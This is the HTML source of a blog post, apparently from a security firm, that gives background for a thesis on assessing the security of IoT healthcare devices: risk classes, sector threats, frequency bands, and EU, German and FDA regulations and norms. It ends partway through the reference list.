&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/"
class="link-background inline split"
>
&lt;span class="link-label">IoT&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/"
class="link-background inline split"
>
&lt;span class="link-label">Healthcare&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/"
class="link-background inline split"
>
&lt;span class="link-label">Devices:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/"
class="link-background inline split"
>
&lt;span class="link-label">Background&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Precautions, Considerations and Getting a First Overview on the Scope&lt;/li>
&lt;li>Hardware Analysis, Vulnerability Scan and Impact Analysis&lt;/li>
&lt;li>Software and Web Application Analysis and Documentation
&lt;br>&lt;br>&lt;/li>
&lt;/ol>
&lt;p>Recent developments in healthcare have resulted in the combination of medical devices and the Internet-of-Things (IoT).
With medical devices underlying special regulations and used in very specific contexts, the question arises how security assessments can be performed to address the sector-specific demands.
While the results of security breaches in healthcare can be socially or financially devastating or cause serious patient harm, medical device manufacturers and applicants have to weigh these issues up against the many positive effects of digital medical device usage. To contribute to the solution of this issue, a bachelor thesis has been created that provides an overview on technical background information of medical devices and their context of usage, eventually introducing a novel methodology which can be used by security testers as well as medical device developers for security assessments of IoT healthcare devices.&lt;/p>
&lt;h2 id="background-information">Background Information&lt;/h2>
&lt;p>This section summarizes important characteristics and regulations of medical devices and their context of usage.&lt;/p>
&lt;h3 id="types-and-classifications-of-medical-devices">Types and Classifications of Medical Devices&lt;/h3>
&lt;p>Medical devices can intuitively be separated into three categories:&lt;/p>
&lt;ul>
&lt;li>Devices for home-usage&lt;/li>
&lt;li>Implantable devices&lt;/li>
&lt;li>Diagnostic and therapeutic devices used only by physicians or other medical staff (e.g. sonographic units, &amp;hellip;) and capital medical equipment (e.g. MRT, CT, &amp;hellip;)&lt;/li>
&lt;/ul>
&lt;p>Medical devices are grouped in four risk classes: Class I, IIa, IIb, III (see 93/42/EEC Annex IX III. Classification[1]). The following diagram depicts the risk classes as defined under the new MDR:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-classes_hu5084953449ac37acbc08a20740d4d596_80448_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-classes_hu5084953449ac37acbc08a20740d4d596_80448_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-classes_hu5084953449ac37acbc08a20740d4d596_80448_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-classes.png"
width="887"
height="405"
alt="risk-classes"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
risk-classes&lt;/figcaption>
&lt;/figure>
&lt;p>Furthermore, IEC 62304 divides medical device software into three safety classes: A, B and C as shown in the figure below (translated from a blog entry of the Johner Institute[2]):&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/safety-class_hu644471ff89581d4278cb7d086ec3fc04_70664_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/safety-class_hu644471ff89581d4278cb7d086ec3fc04_70664_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/safety-class_hu644471ff89581d4278cb7d086ec3fc04_70664_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/safety-class.png"
width="1807"
height="449"
alt="safety-class"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
safety-class&lt;/figcaption>
&lt;/figure>
&lt;h3 id="risk-acceptability-matrix">Risk Acceptability Matrix&lt;/h3>
&lt;p>The following risk acceptability matrix as defined in ISO 14971 (found in the greenlight guru blog[3]) can answer whether risk levels are acceptable or risk reduction is required:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-acceptability-matrix_hu9f62b571faebfd8394bfe5c83569cd9a_80676_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-acceptability-matrix_hu9f62b571faebfd8394bfe5c83569cd9a_80676_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-acceptability-matrix_hu9f62b571faebfd8394bfe5c83569cd9a_80676_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risk-acceptability-matrix.png"
width="1827"
height="932"
alt="risk-acceptability-matrix"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
risk-acceptability-matrix&lt;/figcaption>
&lt;/figure>
&lt;h3 id="challenges-of-iot-healthcare-devices">Challenges of IoT Healthcare Devices&lt;/h3>
&lt;p>The main challenges of IoT Healthcare devices are:&lt;/p>
&lt;ul>
&lt;li>Insecure devices can be used as &lt;strong>entry points&lt;/strong> to access networks&lt;/li>
&lt;li>In the worst case scenario, security incidents can lead to severe &lt;strong>patient harm&lt;/strong>, including death[4].&lt;/li>
&lt;li>Some devices may never be taken offline and &lt;strong>must remain available&lt;/strong> at all times.&lt;/li>
&lt;li>Some devices, like implants, are &lt;strong>directly connected to patients&lt;/strong>.&lt;/li>
&lt;li>&lt;strong>Maintenance can cause malfunctions.&lt;/strong> Medical devices should be updated as seldom as possible.&lt;/li>
&lt;li>&lt;strong>Health-related data is considered very sensitive&lt;/strong> under the General Data Protection Regulation (GDPR), and patient records can &amp;mdash; unlike most other personal data &amp;mdash; not be changed after a security breach like bank account numbers or credentials. As a consequence, health data should be as well-protected as possible.&lt;/li>
&lt;li>&lt;strong>IoT Healthcare devices are used by non-technical and non-security aware individuals&lt;/strong> or institutions and commonly run in &lt;strong>publicly available places&lt;/strong>. Sometimes, risks are addressed by installing cameras or attaching RFID tags to the devices, but eventually, security testers should assume all devices are physically accessible since of the &lt;strong>low security awareness&lt;/strong> of medical personnel (&amp;lsquo;we trust our patients&amp;rsquo;, anonymous quote from a doctor)&lt;/li>
&lt;li>Security is mostly of &lt;strong>low priority&lt;/strong> for healthcare services&lt;/li>
&lt;li>Acceptance of security measures: &lt;strong>a security measure that will complicate or slow down a process will&lt;/strong> &amp;mdash; with good reason &amp;mdash; &lt;strong>be rejected by medical personnel and applicants&lt;/strong>. Therefore, security measures must be as easy and effortless for its applicants, as possible, and should &amp;mdash; whenever reasonable &amp;mdash; be the default setting, allowing secure device usage &amp;ldquo;out-of-the-box&amp;rdquo;&lt;/li>
&lt;li>Medical devices can be connected to &lt;strong>heterogeneous, old or unpatched systems&lt;/strong>. This might also happen on &lt;strong>coincidence&lt;/strong> (e.g. a housekeeper pulling the cable and reconnecting it to the wrong plug-in position). Additionally, many hospitals have &lt;strong>BYOD-policies&lt;/strong> (&amp;lsquo;bring your own device&amp;rsquo;). It must be expected that medical devices run in a &lt;strong>vulnerable network&lt;/strong>, and thus, any device needs to be secured as best as possible, perchance taking a &lt;strong>Zero Trust&lt;/strong>-approach.&lt;/li>
&lt;li>&lt;strong>Deficient communication&lt;/strong> between IT and medical personnel leads to not properly scheduled maintenance at some places. Therefore, system updates should avoid affecting device performance, if possible.&lt;/li>
&lt;li>For some manufacturers, the sole &lt;strong>focus of device development lies on medical functionality&lt;/strong>. While this may, in the end, maximize the positive effect on patient treatment, this implicates a &lt;strong>lack of long-term security support or security-aware development&lt;/strong> and architecture for many devices and a demand to develop security models for healthcare devices.&lt;/li>
&lt;li>&lt;strong>Security patches may require a new admission process&lt;/strong> or manufacturer&amp;rsquo;s approval (depending on the region), which can &lt;strong>slow down&lt;/strong> the fixing of vulnerabilities significantly and creates a huge &lt;strong>overhead&lt;/strong> of work.&lt;/li>
&lt;li>&lt;strong>Applying official patches or upgrades may not be possible&lt;/strong> since they might make the device &lt;strong>inoperable&lt;/strong>.&lt;/li>
&lt;li>Patients are almost completely &lt;strong>uninformed about the devices&lt;/strong> used on them in hospitals and can hardly ever reject their usage due to security concerns. Additionally, patients often must rely on these unknown devices due to a &lt;strong>lack of suitable alternatives&lt;/strong> and the &lt;strong>urgent nature of health-related problems&lt;/strong>.&lt;/li>
&lt;li>The healthcare system may be subject to warfare, politically motivated groups and cyber criminality since being part of the &lt;strong>critical infrastructure&lt;/strong>.&lt;/li>
&lt;li>Malware can be injected into medical devices &lt;strong>before market release&lt;/strong>, sometimes through external libraries. Therefore, security measures should be integrated into the production process and third party code or hardware be tested for security, either.&lt;/li>
&lt;li>&lt;strong>Remote control&lt;/strong> of medical devices is not only used to &lt;strong>improve the effectiveness&lt;/strong> with which medical devices are programmed (in use), but also to enable surgeons to maintain a &lt;strong>more sterile environment during surgery&lt;/strong> when it comes to implants. Lowering the radius in which a device functions, while increasing the device&amp;rsquo;s security, can negatively impact the patients' safety.&lt;/li>
&lt;li>The &lt;strong>replacement&lt;/strong> of a defect implant &lt;strong>requires surgery&lt;/strong>, risking injury or even death, and should be &lt;strong>avoided&lt;/strong> at great lengths.&lt;/li>
&lt;/ul>
&lt;h3 id="contradicting-goals">Contradicting Goals&lt;/h3>
&lt;p>Many medical devices, for example hearing aids, need to be small, light-weight, comfortable to wear, inexpensive, long-living (battery power, &amp;hellip;) or easy-to-use.
Therefore, medical device hardware can be strongly limited in terms of processing power, device storage and memory.
These limitations can contradict with security functions, like cryptography or logging.&lt;/p>
&lt;p>From a medical point of view health records should be as widely available as possible and allow emergency access by break-glass functions.
From a privacy point of view this raises many questions about how data can be properly secured under these conditions.
Additionally, regarding electronic patient records, the question is raised if access to health data can be denied for less costly devices with fewer security features without further compromising social justice.&lt;/p>
&lt;h3 id="sector-specific-threats">Sector-Specific Threats&lt;/h3>
&lt;p>In their February 2019 breach insights[5], the Beazley Breach Response Service has released statistics on causes of incidents related to cyber incidents.
This data shows that, while all sectors are threatened by hacks and malware, the healthcare sector is especially threatened by accidental disclosure and insiders.
With 41% of all incidents, healthcare entities reported the highest number of incidents.&lt;/p>
&lt;p>As pointed out in the Cyber Security Report 2020, the healthcare sector has still been one of the primary targets of ransomware in 2019.
Even worse, &amp;lsquo;the targeted approach almost entirely replaced the mass distribution method for ransomware&amp;rsquo;.&lt;/p>
&lt;p>As was stated in the 2019 HIMSS Cybersecurity Survey[6], e-mail remained the most frequent initial point of compromise, with healthcare entities achieving high phishing clicking rates (58% in total).
With 25%, human error was the second-most initial point of compromise, while in 5% of the cases, medical devices were the initial point of compromise.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/point-of-compromise_hu714844441dc5a6c931ed11de256b6b29_48529_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/point-of-compromise_hu714844441dc5a6c931ed11de256b6b29_48529_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/point-of-compromise_hu714844441dc5a6c931ed11de256b6b29_48529_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/point-of-compromise.png"
width="1132"
height="895"
alt="point-of-compromise"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
point-of-compromise&lt;/figcaption>
&lt;/figure>
&lt;p>Three out of ten threat actors of significant security incidents in 2019 have been identified as benign actors (such as negligent insiders, vendors or consultants).
Half of the incidents were caused by so-called bad actors like online scam artists (28%) and hackers (11%). The other threat actors were social engineers, malicious insiders, nation state actors and hacktivists.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/threat-actors_hu0f9f4d57fda59379928f23581f95da09_44935_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/threat-actors_hu0f9f4d57fda59379928f23581f95da09_44935_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/threat-actors_hu0f9f4d57fda59379928f23581f95da09_44935_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/threat-actors.png"
width="1401"
height="891"
alt="threat-actors"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
threat-actors&lt;/figcaption>
&lt;/figure>
&lt;p>The Health Care Industry Cybersecurity Task Force has listed possible risks of medical devices in their &lt;strong>report on improving cybersecurity in the health care industry&lt;/strong> in 2017 (see table below), stating that &lt;em>the susceptibility of health care information to cyber threats has become very evident in the last few years with identity theft, ransomware, and targeted nation-state hacking becoming more frequent and extensive&lt;/em>.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risks_hu3348501dd3f4b8f9d9d406f001060155_53655_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risks_hu3348501dd3f4b8f9d9d406f001060155_53655_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risks_hu3348501dd3f4b8f9d9d406f001060155_53655_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/risks.png"
width="856"
height="919"
alt="risks"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
risks&lt;/figcaption>
&lt;/figure>
&lt;h3 id="technical-features-of-medical-devices">Technical Features of Medical Devices&lt;/h3>
&lt;h4 id="frequency-bands">Frequency bands&lt;/h4>
&lt;p>The following table shows the frequency bands used by medical devices for communication in the U.S.:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/frequency-bands_hu5863ef86ece8734f232fb1504422e2a2_38692_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/frequency-bands_hu5863ef86ece8734f232fb1504422e2a2_38692_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/frequency-bands_hu5863ef86ece8734f232fb1504422e2a2_38692_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/methodology-iot-healthcare-devices-01/frequency-bands.png"
width="1340"
height="901"
alt="frequency-bands"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
frequency-bands&lt;/figcaption>
&lt;/figure>
&lt;p>In the EU, medical devices can use any ISM band between 150 kHz to 80 MHz, as regulated in IEC 60601, however, medical devices can also use other frequency bands, especially older devices or if frequencies are used for diagnosis or therapy.&lt;/p>
&lt;h4 id="sensors">Sensors&lt;/h4>
&lt;p>Many medical devices use sensors for measurements. Proximity-based attacks could target these sensors, which are usually not sufficiently protected.&lt;/p>
&lt;h4 id="operating-systems">Operating systems&lt;/h4>
&lt;p>In 2020, the majority of medical imgaing devices ran on unsupported systems (83%), most of them running a Windows OS[10].&lt;/p>
&lt;h3 id="databases-for-medical-devices">Databases for Medical Devices&lt;/h3>
&lt;p>There are several databases unique for medical devices:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>AccessGUDID&lt;/strong> (Global Unique Device Identification Database)&lt;/li>
&lt;li>&lt;strong>MAUDE&lt;/strong> (Manufacturer and User Facility Device Experience)&lt;/li>
&lt;li>&lt;strong>DIMDI&lt;/strong> (German, charges fees for access)&lt;/li>
&lt;li>&lt;strong>EUDAMED&lt;/strong> (EU, in development)&lt;/li>
&lt;/ul>
&lt;p>However, none of these databases provided sufficient technical information as would be needed for security assessments.&lt;/p>
&lt;p>Recently, the FCC database &lt;strong>EAS&lt;/strong>, which provides information on radio-frequency-emitting devices licensed in the U.S., and inofficial sources provide the most accurate technical information.&lt;/p>
&lt;h3 id="regulative-institutions-acts-and-norms">Regulative Institutions, Acts and Norms&lt;/h3>
&lt;p>This section gives an overview on the institutions, acts and norms that regulate medical device security in any form.&lt;/p>
&lt;h4 id="germany">Germany&lt;/h4>
&lt;p>The institutions that took responsibility for medical device security are:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Federal Office for Information Security&lt;/strong> (BSI)
&lt;ul>
&lt;li>TR-03161 (security, mobile eHealth applications)&lt;/li>
&lt;li>TR-03154, TR-03155, TR-03157 (Konnektor)&lt;/li>
&lt;li>TR-03160, TR-03143, TR-03144 (security, electronic health card)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Federal Institute for Drugs and Medical Devices&lt;/strong> (BfArM)
&lt;ul>
&lt;li>regulate medical products in general, do not occupy themselves with cybersecurity&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The BSI has released the above listed technical guidelines directly addressing healthcare.
Other interesting guidelines were released addressing topics like cryptography.
We can expect further technical guidelines addressing the security of medical devices from the BSI in the future.
Furthermore, the following legislation applies to medical devices. However, no technical information on medical device security could be found in these documents.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Act on Medical Devices&lt;/strong> (MPG)
&lt;ul>
&lt;li>instance of European MDD&lt;/li>
&lt;li>will be replaced by the MPDG (German Medical Device Act) in 2021 presumably&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Safety Plan for Medical Devices&lt;/strong> (MPSV)&lt;/li>
&lt;li>&lt;strong>PDSG&lt;/strong> (medical patient data protection act) protection within the German Telematics infrastructure&lt;/li>
&lt;/ul>
&lt;h4 id="eu">EU&lt;/h4>
&lt;p>European guidelines give EU member states directions or &amp;lsquo;recommendations&amp;rsquo; how a law should be deployed on a national level. The following guidelines were found interesting during research:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>90/385/EEC&lt;/strong> (active implantable medical devices)&lt;/li>
&lt;li>&lt;strong>93/42/EEC&lt;/strong> (Medical Device Directive (MDD))&lt;/li>
&lt;li>&lt;strong>MDR&lt;/strong> (Medical Device Regulation), which will replace the MDD (delayed due to Sars-CoV-2)&lt;/li>
&lt;li>&lt;strong>MEDDEV guidance documents&lt;/strong> (guide manufacturers, not mandatory)&lt;/li>
&lt;li>&lt;strong>EU 2016/1148&lt;/strong>(network security, national strategies)&lt;/li>
&lt;li>European Union Agency For Network And Information Security (enisa): &lt;strong>Baseline Security Recommendations for IoT in the context of Critical Information Infrastructure&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>In a brief summary, most regulations demand safe and secure medical devices, however, a lack of clear instructions how to handle the contradiction between security and safety is missing.&lt;/p>
&lt;h4 id="norms">Norms&lt;/h4>
&lt;p>The following norms are of interest when dealing with the cybersecurity of healthcare devices:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>ISO 13485&lt;/strong> (medical, quality management system, manufacture)&lt;/li>
&lt;li>&lt;strong>ISO 14971:2019&lt;/strong> (medical, risk management)&lt;/li>
&lt;li>&lt;strong>ISO/IEC 2700&lt;/strong>1 (Information Security Management Systems (ISMS))&lt;/li>
&lt;li>&lt;strong>ISO/IEC 27002:2013&lt;/strong> (ISMS, practice recommendations)&lt;/li>
&lt;li>&lt;strong>ISO/IEC 27034&lt;/strong> (software, IT security)&lt;/li>
&lt;li>&lt;strong>ISO 27799:2016&lt;/strong> (medical, ISMS, checklist)&lt;/li>
&lt;li>&lt;strong>IEC 60601 / EN 80601&lt;/strong> (medical, fundamental safety)&lt;/li>
&lt;li>&lt;strong>IEC 62304:2006&lt;/strong> (software, life cycle processes, development, risk management, maintenance)&lt;/li>
&lt;li>&lt;strong>IEC 62304:2017&lt;/strong> (software, risk levels)&lt;/li>
&lt;li>&lt;strong>IEC 62443&lt;/strong> (IT security of industrial automated processes, commonly used by medical device manufacturers)&lt;/li>
&lt;li>&lt;strong>IEC 80001&lt;/strong> (medical, life cycle of IT infrastructures incorporating medical devices)&lt;/li>
&lt;/ul>
&lt;h4 id="fda">FDA&lt;/h4>
&lt;p>Medical devices traded in the U.S. undergo marketing approval by the FDA.
The FDA has released four cybersecurity guidances:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Cybersecurity for Networked Medical Devices containing Off-the-Shelf (OTS) Software&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Guidance for the Content of Premarket Submissions for Software Contained in Medical Devices&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Content of Premarket Submissions for Management of Cybersecurity in Medical Devices&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Postmarket Management of Cybersecurity in Medical Devices&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>The first of the above listed guidelines states, that no further FDA review is needed after a software patch that addresses a cybersecurity vulnerability, while the second divides medical devices into three categories regarding the patient harm: major, moderate and minor.
The third guidance splits the responsibility to maintain medical device security between stakeholders, including health care facilities, patients, providers, and manufacturers of medical devices' and demands a reasonable balance of security and usability, stating that no security control should &lt;em>unreasonably hinder access to a device intended to be used during an emergency situation&lt;/em>.
Manufacturers are encouraged to provide a cybersecurity documentation to their premarket submission. This guidance includes a list of recognized standards dealing with medical device security.
The forth guideline deals with risk management and encourages the collaboration between manufacturers and Information Security Analysis Organizations (ISAO).&lt;/p>
&lt;h4 id="it-security-guideline-johner-institute">IT Security Guideline (Johner Institute)&lt;/h4>
&lt;p>A collaboration between the Johner Institute, TÜV SÜD and Siemens Healthcare GmbH has resulted in an ongoing and yet not officially released guideline[9] with the purpose to guide manufacturers in the interim period while there is already the demand for better IT security in healthcare devices and until more detailed norms and standards for IT security in medical products are developed.
Its main focus lies on the security of the product itself regarding the patients' safety, and not the security of the organization.
The need for a breaking-the-glass policy is stressed out as well as an understanding of the recent security levels of medical devices in use versus the security level an IT security expert would expect.
The authors suggest accepting a step-by-step improvement of manufacturers regarding the security of their products to rather help them develop their products towards better security instead of discouraging them with strict demands since the authors believe it is still better for the patients' health to have an insecure product than no product at all.
Security shall be addressed not only during the test phase, but in the product&amp;rsquo;s whole life cycle.&lt;/p>
&lt;h4 id="state-of-the-art-security">State of the Art Security&lt;/h4>
&lt;p>Most acts and even guidelines refer to state-of-the-art security. An 80 pages long document trying to keep up-to-date with modern security could be identified: &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Guideline:&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">State&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">art&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IT&lt;/span>
&lt;/a>&lt;a
href="https://www.teletrust.de/fileadmin/docs/fachgruppen/ag-stand-der-technik/2020-02_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[8].&lt;/p>
&lt;h4 id="privacy">Privacy&lt;/h4>
&lt;p>In a summary, these are the implications of the EU&amp;rsquo;s GDPR and U.S. HIPAA:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>General Data Protection Regulation (GDPR)&lt;/strong>
&lt;ul>
&lt;li>applies to any data feasible to (indirectly) identify a person&lt;/li>
&lt;li>emergency limitations regarding the disclosure and processing of health-related information and information of public interest&lt;/li>
&lt;li>no data may be raised and processed without purpose and informed consent&lt;/li>
&lt;li>data raised must be minimal&lt;/li>
&lt;li>privacy by design&lt;/li>
&lt;li>personal information should be protected by encryption or pseudonymization&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Health Insurance Portability and Accountability Act (HIPAA)&lt;/strong>
&lt;ul>
&lt;li>The U.S. have no equivalent to our GDPR in general&lt;/li>
&lt;li>primary healthcare providers, health plans and healthcare clearinghouses are covered by this act, but not health data in general&lt;/li>
&lt;li>the act is divided into a Privacy Rule and a Security Rule&lt;/li>
&lt;li>The main principle of the &lt;strong>Privacy Rule&lt;/strong> is &amp;lsquo;minimum necessary&amp;rsquo;&lt;/li>
&lt;li>It follows from the &lt;strong>Security Rule&lt;/strong> that covered entities need to secure the medical devices they use for diagnostic or therapeutic purposes to be able to fulfill these requirements.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="next-post-in-series">Next Post in Series&lt;/h2>
&lt;ul>
&lt;li>The next post in this series &amp;lsquo;&amp;lsquo;Precautions, Considerations and Getting a First Overview on the Scope&amp;rsquo;&amp;rsquo; will be published soon. &lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Credits: The elaborations and novel methodology are results of a
Bachelor&amp;rsquo;s thesis by Melissa Loos created at SCHUTZWERK in collaboration with Ulm University.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>[1] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CONSLEG:1993L0042:20071011:en:PDF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Legislation:&lt;/span>
&lt;/a>&lt;a
href="https://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CONSLEG:1993L0042:20071011:en:PDF"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">93/42/EEC&lt;/span>
&lt;/a>&lt;a
